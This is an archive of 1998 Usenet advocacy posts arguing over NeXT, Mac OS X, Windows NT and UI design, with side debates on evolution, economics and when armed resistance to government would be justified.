To boot into Linux-pmac you set that to /SCSI-INT:0 (I think... I don't
remember the specific device name off hand). This bypasses the ROM
entirely so the smiley or frowny Mac never gets a chance to show up. You
can specify the internal or external SCSI chain, a particular ID, and even
a particular partition number (which doesn't work reliably on the
7600,8500, and 9500s if I recall the documentation correctly). You need
not have the Mac OS installed. None of it will ever load if you change
the boot device away from /AAPL,ROM. If your PRAM ever gets zapped though,
it will revert to using /AAPL,ROM and you'll get the flashing question
mark at startup since the ROM won't find a valid Mac OS version to boot
off of.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: 6 Jul 1998 22:32:56 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6nrjao$bnb$1@news.spacelab.net>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
[ ... ]
>> LOL, this is more true then you realise, remember that thing called
>> evolution? It does make your body's behavior more effecient to have a
>> human mind instead of a monkey's mind.:-)
>
> Not so; the human mind was created, as was the body.
You've clearly moved beyond rational argument when you bring up your personal
religious convictions as inarguable "truth".
> Einstein himself said that the mathematical probability of the created
> order being achieved by random, unordered events in a chaotic universe
> is roughly zero.
Einstein was also convinced "that God does not play dice" with the world.
However, given recent experiments which test the Einstein/Podolsky/Rosen
argument (action at a distance, or "hidden variable" in a system), it appears
that Einstein was wrong. Try
http://msia02.msi.se/~apollo/apollo/papers/kaon/kaon.html, or maybe John
Glieck's "In Search of Schroedinger's Cat" for readable introductions to the
subject.
>Actually, there's no probability involved. The thing is impossible, as
>evidenced by our three laws of thermodynamics. Order does not progress
>from chaos without transcendent order.
A simple approach to complicated topics rarely comes up with the correct
answers. The second law of thermodynamics is that "entropy always increases
in a closed system". It is entirely possible for order to progress from
chaos in open systems, and life on earth is a perfect example.
Biological systems do decrease local entropy and progress towards more order
because they have outside sources of energy-- primary sunlight, but some
deep-sea life survives off geothermal enegry.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 6 Jul 1998 18:26:02 -0400
Organization: phenix@interpath.com
Message-ID: <1dbrav2.bt0tico29jwN@roxboro0-025.dyn.interpath.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nem06$3cg$1@lwnws01.ne.highway1.com> <andyba-ya02408000R0207980954430001@news> <6nht9l$iio$1@lwnws01.ne.highway1.com> <1998070312530900.IAA28087@ladder03.news.aol.com> <dave.pl-0407981106490001@dialup203.salzburg20.salzburg.at.eu.net> <joe.ragosta-0407980703330001@elk91.dol.net> <1dbncmh.kwwxex1iv1uf4N@hoorn17.multiweb.net> <joe.ragosta-0407981348290001@elk41.dol.net> <dave.pl-0507980015500001@dialup180.salzburg20.salzburg.at.eu.net>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
In comp.sys.next.advocacy Dietmar Planitzer <dave.pl@ping.at> wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> >
> >Nonsense.
> >
> >I don't understand everything you're saying, so I can't point out _where_
> >you're wrong, but there are third party Mac apps which do exactly what you
> >just described. You can fax from any application. Case closed.
> >
>
> Joe, if you don't understand what I've posted, why do you even think that
> I'm wrong ?
I'd guess he's not arguing your point but instead saying that the
examples Eric gave as impossible in that they can and have been done on
the Mac (by third parties usually, but I can't see that mattering).
In article <6nghtq$vo91@onews.collins.rockwell.com> Eric said that you
could do these thing under NeXT but not under the current Mac):
1) Add functioning print menu to any app
2) Add Fax support to any app that can print
3) Enable spell checking in app that doesn't support it
In article <joe.ragosta-0207981558320001@wil47.dol.net> Joe said that 2
and 3 are possible under the Mac, and that he didn't understand what
Eric meant by 1.
In article
<dave.pl-0407981106490001@dialup203.salzburg20.salzburg.at.eu.net>, you
said that "you can not". (Implying that you couldn't do 2 and 3).
In article <joe.ragosta-0407980703330001@elk91.dol.net>, Joe said the
above ("Nonsense").
Back to me - I have added faxing support to every app that prints and
I'm using CoachPro at the moment (a spell checker that works in any
app).
> Obviously you completly misunderstood my post. It was not about faxing per
> se. It was about NIBs and MacOS resources, because this thread is about
> the MacOS X UI and not about faxing in the traditional MacOS, at least I
> thought so.
>
> So, if you don't know what NIBs are and how the are handled by the AppKit
> and IB, I would recommend that you go to Apple's devworld site and have a
> look at the AppKit and IB documentation. If you're a registered Apple
> developer and thus have access to RDR2 (you are, aren't you ?) you should
> also have a look at the new NIB classes which are now officially
> accessible by every application.
>
> It's logic that you can provide faxing to every MacOS application as an
> afterthough, but in Rhapsody and MacOS X it's part of the OS.
That may be logic, but it's not of a kind I recognize - it'd be possible
for Apple to add faxing to every MacOS app if they wanted to (hell, it's
been done by third parties - for exery app, not just one particular
one).
If you want to say NIBs are better than resources, you'll need to make a
better argument - don't use something that doesn't have anything to do
with either.
--
John Moreno
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Sun, 05 Jul 1998 21:30:21 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35A036BD.54A8B919@nstar.net>
References: <359A90F9.A546707D@alum.mit.edu> <359BF904.AB972774@exu.ericsson.se> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nit11$qoc$1@camel21.mindspring.com> <359D0A6D.E3CE5D63@alum.mit.edu> <359D156E.CE526220@exu.ericsson.se> <359D7E51.1721D116@alum.mit.edu> <359D9031.4C08DE53@nstar.net> <kehn1.2330$24.13444266@news.itd.umich.edu> <359DEF04.D0755976@nstar.net> <HEpn1.2362$24.13690996@news.itd.umich.edu> <359EA1F3.80D949AB@nstar.net> <6tyn1.2377$24.13968467@news.itd.umich.edu> <359EF6A6.4633689D@nstar.net> <VOIn1.2425$24.14242743@news.itd.umich.edu> <359F8CBF.CBC9EB6@nstar.net> <1vOn1.2432$24.14401358@news.itd.umich.edu> <35A01394.B84788FF@nstar.net> <t5Wn1.2459$24.14681343@news.itd.umich.edu>
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NNTP-Posting-Date: 6 Jul 1998 02:35:24 GMT
not@my.address.net wrote:
> Sigh. Again ...
>
> The example you gave was introduced to illustrate how liberty is to be defended.
> You preface the example with the claim that "liberty is preserved by the
> vigilance of those at liberty". You then gave the example of a threat to your
> liberty being met with 15 9mm slugs from your Sig-Sauer. And you follow up on
> that example with the claim that "This is the assurance of the virtuous society:
> that liberty is worth fighting, even dieing, for."
Please, it's 'dying', not 'dieing'. This is, like, the third time you've
misspelled it, even though it's spelled correctly in my quote (the one
from which you claim to be copying).
> I've been asking you how that same principle ("Liberty is worth fighting, even
> dieing for") applies in the case of the government -- which by it's very
> existence restricts your liberty, since by definition that's what governments
> do.
>
> This isn't a problem you can go round, duck, or ignore.
Let me see if I can put this to a question, tell me if I get it right:
at what point will I use violence against the government to defend my
liberty? When it is impossible to do otherwise to effect any means of
change, it's that simple. If the city decides to park a utility truck on
my lawn, I will of course be angry and will communicate as much
respectfully to the mayor; if the city decides that it will put a
highway through my property and justifies the decision via imminent
domain, I will be fit to be tied, but few people could justify violence
in such circumstances, and I am no exception. Even if the IRS entered my
home and threatened my family at gunpoint until we lay on the floor in
utter humiliation, out of deference to a government authority
established by power higher than my own, I have no recourse but to
appeal my case before the authorities and before God.
When do I believe in using force against a government? This is the
question that has been plaguing this discussion for so many of your
twisting and ridiculous postings? I mean, c'mon, this is hardly a new
question. I'll give you Patrick Henry's answer, it is my own:
"Ask yourselves how this gracious reception of our petition comports
with those warlike preparations which cover our waters and darken our
land. Are fleets and armies necessary to a work of love and
reconciliation? Have we shown ourselves so unwilling to be reconciled
that force must be called in to win back our love? Let us not deceive
ourselves, sir. These are the implements of war and subjugation; the
last arguments to which kings resort. I ask gentlemen, sir, what means
this martial array, if its purpose be not to force us to submission? Can
gentlemen assign any other possible motive for it? Has Great Britain any
enemy, in this quarter of the world, to call for all this accumulation
of navies and armies? No, sir, she has none. They are meant for us: they
can be meant for no other. They are sent over to bind and rivet upon us
those chains which the British ministry have been so long forging. And
what have we to oppose to them? Shall we try argument? Sir, we have been
trying that for the last ten years. Have we anything new to offer upon
the subject? Nothing. We have held the subject up in every light of
which it is capable; but it has been all in vain. Shall we resort to
entreaty and humble supplication? What terms shall we find which have
not been already exhausted? Let us not, I beseech you, sir, deceive
ourselves. Sir, we have done everything that could be done to avert the
storm which is now coming on. We have petitioned; we have remonstrated;
we have supplicated; we have prostrated ourselves before the throne, and
have implored its interposition to arrest the tyrannical hands of the
ministry and Parliament. Our petitions have been slighted; our
remonstrances have produced additional violence and insult; our
supplications have been disregarded; and we have been spurned, with
contempt, from the foot of the throne! In vain, after these things, may
we indulge the fond hope of peace and reconciliation. There is no longer
any room for hope. If we wish to be free-- if we mean to preserve
inviolate those inestimable privileges for which we have been so long
contending--if we mean not basely to abandon the noble struggle in which
we have been so long engaged, and which we have pledged ourselves never
to abandon until the glorious object of our contest shall be
obtained--we must fight! I repeat it, sir, we must fight! An appeal to
arms and to the God of hosts is all that is left us!"
> Is this what it comes down to? You would only use your 9mm Sig-Sauer to defend
> your liberty if it was convenient? So if you could overthrow the government
> without much grief, there would be no stopping you? It's just the sheer
> magnitude of the job that's holding you back?
In a word, no. I expect this discussion has finally been put to a close,
although I am glad the question has finally been put down.
MJP
Newsgroups: alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.windows.advocacy
Date: Mon, 6 Jul 1998 18:31:46 -0500
Message-ID: <35a15e94.10216218@hydra>
From: brother@trinity.mensa.net (Identity Withheld)
Subject: Re: ISP's run NT? Hogwash!
References: <6ndql0$a7u$4@bertrand.ccs.carleton.ca> <359a800f.17939822@hydra> <rcbkmiccpmcwsn.pminews@nuggent.europa.com>
MIME-Version: 1.0
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On Sun, 5 Jul 1998 14:50:01 -0500 , "Brian Knotts"
<bknotts@europa.com> wrote:
>On Wed, 1 Jul 1998 13:29:40 -0500, Identity Withheld wrote:
>
>> On Wed, 1 Jul 1998 12:12:00 -0500 , dfs@doe.carleton.ca (David F.
>> Skoll) wrote:
>
>> >It's worth buying new things *if* they're better than the old things.
>> >It's irrational to buy a new OS which is (a) not as good as the "old"
>> >OS, (b) proprietary and (c) being 80% rewritten with attendant delays,
>> >foul-ups and bug introductions.
>
>> <shrug> 'Bout time you get to the point. Regardless, there are lots of
>> folks successfully running NT in a variety of applications and
>> scenarios. Keep in mind that newspapers never print anything that is
>> good news. That goes for the media in general and especially applies
>> to advocates.
>
>There are lots of folks successfully running DOS in a variety of applications
>and scenarios. Is that sufficient to argue for a general migration to DOS? Or
>to argue against a general migration from DOS?
Such anecdotal evidence is sufficient to say that DOS (and NT, by
extension of the argument) is not the bug-infest, crash-every-minute
OS others claim it is.
Date: Mon, 06 Jul 1998 20:54:57 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple in the enterprise
Message-ID: <joe.ragosta-0607982054570001@elk59.dol.net>
References: <6noi5p$2qg$1@news.cmc.net> <1998070601323200.VAA10221@ladder01.news.aol.com>
In article <1998070601323200.VAA10221@ladder01.news.aol.com>,
rosdan@aol.com (Rosdan) wrote:
> Next was always received by enterprise IT departments as a not very neccessary
> evil. Yes it was UNIX so it was not SO bad, but its NFS was very very old and
> required more modern systems to be patched. The backup system of choice was
> not available for nextstep so special maintenance was required. The rc.boot
> structure was just different enough to be annoying. Remote admin tools based
> on X-Windows did not work on machines that did not have an X-server installed.
>
> In short, Nexts were a pain for IT folks.
>
> I work for a company that is just now replacing all of its Opentesp Enterprise
> seats with Windows NT. The Openstep based mission critical application that
> millions were spent on and careers were built with is now in maintenace
mode on
> NT and Windows 95 while we wait for Java to be ready to host a re-write.
>
> Openstep is leaving this enterpise (hundreds of seats and millions of dollars
> per year) because Apple is not interested in the enterprise and they have said
> themselves that Windows NT is what we want.
>
> _I_ don't want Windows NT. We went from an IT department with one manager and
> 5 full time sys-admisand a dozen part time admins for a network of 300+ UNIX
> wokstations to a giant IT department of 13 managesr, 2 directors, 50 full time
> admins and countless "self" admins and 20 help desk drones for a network of
> 1000 windows NT and 95 desktops.
>
> The company has decided! Apple will NEVER sell into this company again until
> every current executive has retired and or died.
Now that makes a lot of sense. You've proven that WinNT uses a
never-ending supply of resources. Study after study shows that Apple is
better. Yet your company has decided that it will never consider Apple.
THAT is why MS has such a stranglehold on the industry.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 06 Jul 1998 20:56:21 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,talk.politics.libertarian
Distribution: world
Subject: Re: Microsoft Delays Win NT
Message-ID: <joe.ragosta-0607982056210001@elk59.dol.net>
References: <359A90F9.A546707D@alum.mit.edu> <35A00B2F.4CBF5DDC@nstar.net> <joe.ragosta-0507981930150001@elk40.dol.net> <35A01394.B84788FF@nstar.net> <6np8fp$epb$1@camel25.mindspring.com>
In article <6np8fp$epb$1@camel25.mindspring.com>, Matthew Cromer
<matthew_cromer@iname.com> wrote:
> In article <joe.ragosta-0507981930150001@elk40.dol.net> Joe Ragosta,
> joe.ragosta@dol.net writes:
> >> We are not talking about wealth but income.
> >>
> >> If one saves half of one's income, one controls more wealth.
> >
> >ROTFLMAO. Please tell me how many workers you know who are saving half of
> >their income.
>
> Not many. But most workers could save half their income, if they wanted
> to reduce their lifestyle.
Whether that's true or not (I doubt very much that it's true), it doesn't
change the fact-- the workers do not control the country's wealth _today_.
>
> >
> >>
> >> If one spends all of one's income and indeed adds debt, one doesn't own
> >> wealth.
> >
> >True. Which is Arun's point.
>
> His point is that poor decision-making leads to a lack of long-term
> wealth?
No. His point was that the workers do not control the country's wealth.
>
> >
> >>
> >> Employees get 80% of the national income, investors get 20%. The fact
> >> that employees spend a larger fraction of their income than investors do
> >> is not the point in question.
> >
> >When you're talking about control of the economy, it most certainly is a
> >relevant point.
>
> If the capitalists "controlled" the economy, don't you think they could
> get more than 20% of national income?
Not necessarily.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 7 Jul 1998 00:57:22 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6q2sji.osk.sal@panix3.panix.com>
References: <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <1998070614244200.KAA08039@ladder03.news.aol.com>
On 6 Jul 1998 14:24:42 GMT, Rosdan <rosdan@aol.com> wrote:
>Not hyaving a built in command line will be just one more reason for IT
>departments to forbit instalation of Apple systems.
I don't think so. Most of the IS groups I've worked with tended to keep
CLIs out of reach of the users. One Fortune 500 company has a set up where
any atepmt to run cmd.exe under NT, from Start->Run or from a shortcut,
gives the user a box with instructions to call PC-Support and ask for access
to the CLI if they want it.
>Taking out the standard shells and command line is a marketing laser aimed
>right in the eyes of IT managers everywhere.
No, it is aimed at MacOS users who view that CLI as a Kafkaesque horror. They
think that if it is on thier harddisk, someone is going to force them to use
it.
>It will leave them with a life
>long after image saing "Apple is not for business, Apple is not for business,
They are saying that anyway. Rhapsody has a CLI and I don't see IS groups
jumping over each other about it. FAIK, MacOSX will have a CLI as an optional
install part.
--
sal@panix.com
Salvatore Denaro
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: 6 Jul 1998 19:53:02 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6nr9uu$dnu$1@ns3.vrx.net>
References: <6nqrbs$37s$1@ns3.vrx.net> <1998070621300000.RAA23862@ladder01.news.aol.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: willadams@aol.com
In <1998070621300000.RAA23862@ladder01.news.aol.com> WillAdams claimed:
> (As regards left/right scrollbars)
> I suspect that if one utilised a mouse odometer on otherwise identical
systems,
> one with the scrollbar on the left would result in less total mouse
movement
> and more efficient usage, barring of course mistaken clicks on the
scrollbar.
Whoa, who said less _distance_ is more efficient? The issue here would
appear to be total "brain time" spent operating the control, and in my use a
single "bad" click seems to require enough of that time to override any
possible tiny gain the other way. Consider Apple's pop-up menu example - no
one's arguing that it required less menu travel, but regardless that travel
took less time and was easier to complete.
Every time I post this I get the same response "well I never do that"?
Well good for you. I'll bet you can figure out what ls -a means too.
However what serves you by no means implies this is either correct, nor
common. When I say I have a problem, I mean it.
> (as regards huge icons being a "complete waste")
> I find them expressive and elegant
Not those icons, the huge ones in applications, where they SHOULD be menu
commands/hot keys. Do I really need a HUGE button to delete a message? And
come now, is that red circle with a bar through it "more expressive" than any
other?
The issue here is using the correct conceptual system. Icons represent
objects, not commands. In Mail.app they are used to represent commands.
This is wrong. Bad.
> a label. Moreover, Mail.app's icon also displays the state of the
application
> (running or no) and if running how many messages one has. I find this quite
> useful.
Not the workspace icon.
Maury
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 7 Jul 1998 01:08:55 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6q2t97.osk.sal@panix3.panix.com>
References: <see-below-2706980601240001@dynamic5.pm04.mv.best.com> <B1BA74A7-1BBBC@206.165.43.101> <see-below-2706981947260001@dynamic22.pm01.mv.best.com> <3595DD89.55EAD2AD@nstar.net> <slrn6pij50.rei.sal@panix3.panix.com> <35996BC8.2869@exu.ericsson.se> <slrn6pj7r8.4ij.sal@panix3.panix.com> <3599AE58.5E54D75E@nstar.net> <slrn6pnb5s.agd.sal@panix3.panix.com> <359BB6E5.C244275F@exu.ericsson.se> <slrn6pnqnc.dci.sal@panix3.panix.com> <see-below-0207981845250001@dynamic16.pm07.mv.best.com>
On Thu, 02 Jul 1998 18:45:25 -0700, Matthew Vaughan <see-below@not-my-address.com> wrote:
>I guess I just don't understand how having an expansion slot would make it
>less suitable for some users,
I never said that.
>or how it would boost the price
>significantly.
I doubt that it would. The iMac _has_ a PCI bus. It would make the iMac
larger, unless they did something kludgy like have the slot mounted sideways
and accessed from side of the case.
>that it's going to fail in the marketplace. I just think it would be
>significantly better for a large number of buyers if it had just one PCI
>slot. And those that don't need it will probably never know it's there.
What could you do with that PCI slot? You couldn't upgrade the built in
video, without adding a second monitor or some nutty kludge. You couldn't
add 3dFX, for the same reason. You could add SCSI or FireWire; but I'm not
sure that anyone who needs SCSI or FireWire would settle for an iMac.
--
sal@panix.com
Salvatore Denaro
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <359A90F9.A546707D@alum.mit.edu> <359BF904.AB972774@exu.ericsson.se> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nit11$qoc$1@camel21.mindspring.com> <359D0A6D.E3CE5D63@alum.mit.edu> <359D156E.CE526220@exu.ericsson.se> <359D7E51.1721D116@alum.mit.edu> <359D9031.4C08DE53@nstar.net> <kehn1.2330$24.13444266@news.itd.umich.edu> <359DEF04.D0755976@nstar.net> <HEpn1.2362$24.13690996@news.itd.umich.edu> <359EA1F3.80D949AB@nstar.net> <6tyn1.2377$24.13968467@news.itd.umich.edu> <359EF6A6.4633689D@nstar.net> <VOIn1.2425$24.14242743@news.itd.umich.edu> <359F8CBF.CBC9EB6@nstar.net> <1vOn1.2432$24.14401358@news.itd.umich.edu> <35A01394.B84788FF@nstar.net> <t5Wn1.2459$24.14681343@news.itd.umich.edu> <35A036BD.54A8B919@nstar.net>
In-Reply-To: <35A036BD.54A8B919@nstar.net>
From: not@my.address.net
Message-ID: <4zeo1.2613$24.15470258@news.itd.umich.edu>
Date: Tue, 07 Jul 1998 01:09:20 GMT
NNTP-Posting-Date: Mon, 06 Jul 1998 21:09:20 EDT
On 07/05/98, Michael Peck wrote:
>
>Let me see if I can put this to a question, tell me if I get it right:
>at what point will I use violence against the government to defend my
>liberty? When it is impossible to do otherwise to effect any means of
>change, it's that simple.
That's ambiguous depending on the scope you assign ``any''. Do you mean that
you will resort to violence if it is impossible to effect even some change? Or
do you mean that you will resort to violence if there is some change that is
impossible to effect?
I doubt it's the first -- it would make a hollow claim out of your principle
that "liberty is worth fighting even dying for", because so long as you can
modify even some of the conditions of oppression, you're not prepared to fight.
That would be like telling the American colonies to submit to British rule so
long as King George would agree to ease up on the rate of taxation.
So I assume it's the second. In which case it will always be the case that you
are prepared to use violence to bring down the government -- at least given your
claim that "by definition governments restrict liberty" and "it's impossible to
govern without oppressing". Given those claims your precondition for violence
is satisfied by the mere existence of the government -- so long as the
government exists it will be impossible to bring about the change that it fully
respects your liberty.
>Even if the IRS entered my
>home and threatened my family at gunpoint until we lay on the floor in
>utter humiliation, out of deference to a government authority
>established by power higher than my own, I have no recourse but to
>appeal my case before the authorities and before God.
>
I have no idea how to reconcile that with your previous posts. Earlier you
brought up an example of someone entering your house at gunpoint and threatened
your family. You said that such an affront to your liberty would be met by 15
9mm slugs from your Sig-Sauer. Here you describe what, from your perspective,
must be a similar threat to your liberty. What happened to the principle that
"liberty is worth fighting even dying for"?
You're a guy from Texas that thinks he's oppressed by sales taxes, sex education
in the public schools, and who knows what else. It doesn't matter to you
whether sales taxes are imposed through any kind of a democratic process or
whether they are imposed by dictatorial decree. Either way you are oppressed.
(In effect you have veto power over the moral legitimacy of taxation. If you
don't want to pay a tax, then it's oppression no matter what.) That's what
makes your remarks about fighting for your liberty so scary, especially after
you've gone to the trouble to tell everyone what kind of fancy weapons you keep
in your home and how your family and neighbors are similarly well-armed.
Maybe you don't want to acknowledge the implications of your position. If we're
lucky, you won't follow through on the implications of your position. But for
all I know there's someone reading your posts on a farm in Michigan, lighting
off firecrackers, and thinking about all those federal buildings in Texas.
You'd be surprised at the kind of "clarity" fanatics can have. If you tell them
that "by definition governments restrict liberty" and then whip them up with all
that rhetoric about defending liberty with a 9mm Sig-Sauer, they're gonna put
two and two together. Even if you won't.
--
invert: umich.edu jdevlin
insert: shift "2"
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,talk.politics.libertarian
Subject: Re: Microsoft Delays Win NT
Date: 7 Jul 1998 01:05:46 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6nrs9a$425@newsb.netnews.att.com>
References: <359A90F9.A546707D@alum.mit.edu> <6nodf3$73i@newsb.netnews.att.com> <6noe0v$743@newsb.netnews.att.com> <6nootv$7jp$1@camel15.mindspring.com>
Originator: gupta@tlctest
Matthew Cromer <matthew_cromer@iname.com> wrote:
>
>How does one make this claim in the face of societies with no governments
>having existed in the past? How can a society with no government be said
>to have "restricted markets"?
Since your friend defined warlords = governing entities, the answer is
easy. Government or governing entities preceded any market.
Think about it. Baboons or birds don't have markets. They have
governing entities, seeking to control food supplies, territory and
populace (keeping mates, and scaring away competition for those mates).
Here I'm paraphrasing your friend's statement of what those forty
alleged governments in Somalia were doing. One can imagine the
following attempt at a transaction -- beta male wants to mate with a
willing female, but alpha male muscles beta male out. Restriction on
free trade here, by a governing authority.
Oops, I forgot you don't believe in evolution either.
-arun gupta
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <forrestDELETE-THIS!-0607981745320001@term3-17.vta.west.net>
References: <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu>
Organization: Obsidian Design / Static Dreams Interactive
Date: Tue, 07 Jul 1998 00:46:25 GMT
NNTP-Posting-Date: Mon, 06 Jul 1998 17:46:25 PDT
In article <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
[snip the same old scrollbars argument]
> IMO, neither way has such compelling support that it should be a religious
> issue. A simple way for the user to choose between the two would probably
> be best. I would more than likely continue to have the scrollers on the
> right even given the choice.
Exactly. Like the way I proposed in my "Unity"/"DreamUI" markups I posted
here a little while back. Resising is done by the corners of the window,
little elbow-shapped widgets, and what is currently the resise box in
MacOS (the place where the two scrollbars intersect) would instead be a
widget allowing for the placement of scrollbars. Currently, it's at the
bottom-right, and so scrollbars are on the bottom and on the right. But if
you dragged it to the top-left you would have it on them on the top and
the left sides of the window. NeXT users would want them on the
bottom-left, to get their familiar behaviour. Easy.
[snip the same old manubar/menu-window argument]
> Some apps certainly do, but that still doesn't solve the fundamental issue
> which is having the menu choices stacked on top of each other in a window.
> This breaks up the screen in an odd way so that users wishing to avoid
> covering up content have an irregularly shaped free area to use and ends
> up wasting more space than an incompletely filled menu bar as in the Mac
> OS.
>
> This issue is made particularly worse on smaller screens (less than
> 1280x1024). The Mac menu bar is more efficient with smaller screens since
> less of the bar is likely to be empty space.
Which is why, In Unity/DreamUI, I had it so the entire menubar could be
torn off (by dragging through a menu-less area), as well as individual
menus and sub-menus, and so on. When the menubar is torn off, it
dissapears. So people with large screens who don't want it, don't have it,
and instead get a NeXT-style menu-window. People with <17" monitors, like
myself, would want a menubar instead, so they wouldn't tear off the menus.
> > > > hide, quit, and print at the top level menu is better
> > >
> > > Not in a menu bar.
[SNIP]
> If you remember my menu proposal mock-up, every menu choice that results
> in a submenu has a little arrow indicating just that. Even in the root
> menu, these arrows are there to indicate that they will bring up a
> submenu and are not themselves items that invoke any particular
> application action. (The root menu in this case was taken from the
> Macintosh Finder which has only pull-down menus at the root level.)
[SNIP]
> (Before anybody asks, I _do_ think that the Macintosh clock is
> inappropriate because it doesn't result in any submenu in the menu bar. I
> keep it there because I haven't yet found anything that I like better to
> indicate the time and it's is a convenient place to put such a thing even
> if it is inconsistent with what I said above.)
In Unity/DreamUI, the clock *is* an actual menu. Clicking it pulls down a
menu of usefull information (date, time, IP number, AppleTalk zone, area,
current user, etc). Selecting one of these items brings up the control
panel which changes that (if it's changable - if not, as is usualy for IP
#s and AT zones, it will just pop up a dialog saying "that item cannot be
changed", with an OK button).
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 7 Jul 1998 01:35:03 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6q2uq7.osk.sal@panix3.panix.com>
References: <359A90F9.A546707D@alum.mit.edu> <6nod9r$71p@newsb.netnews.att.com> <6nodf3$73i@newsb.netnews.att.com> <6noe0v$743@newsb.netnews.att.com> <6noo5p$su1$1@camel15.mindspring.com> <slrn6pvrjq.22l.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35A06897.1920AF1@nstar.net>
On Mon, 06 Jul 1998 01:03:03 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>> Indeed, unfree governments seem to have a knack for successfully
>> busting independent unions and keeping average wages low.
>And on the other hand, the influx of private enterprise seems to have a
>knack for raising employment rates as well as wages.
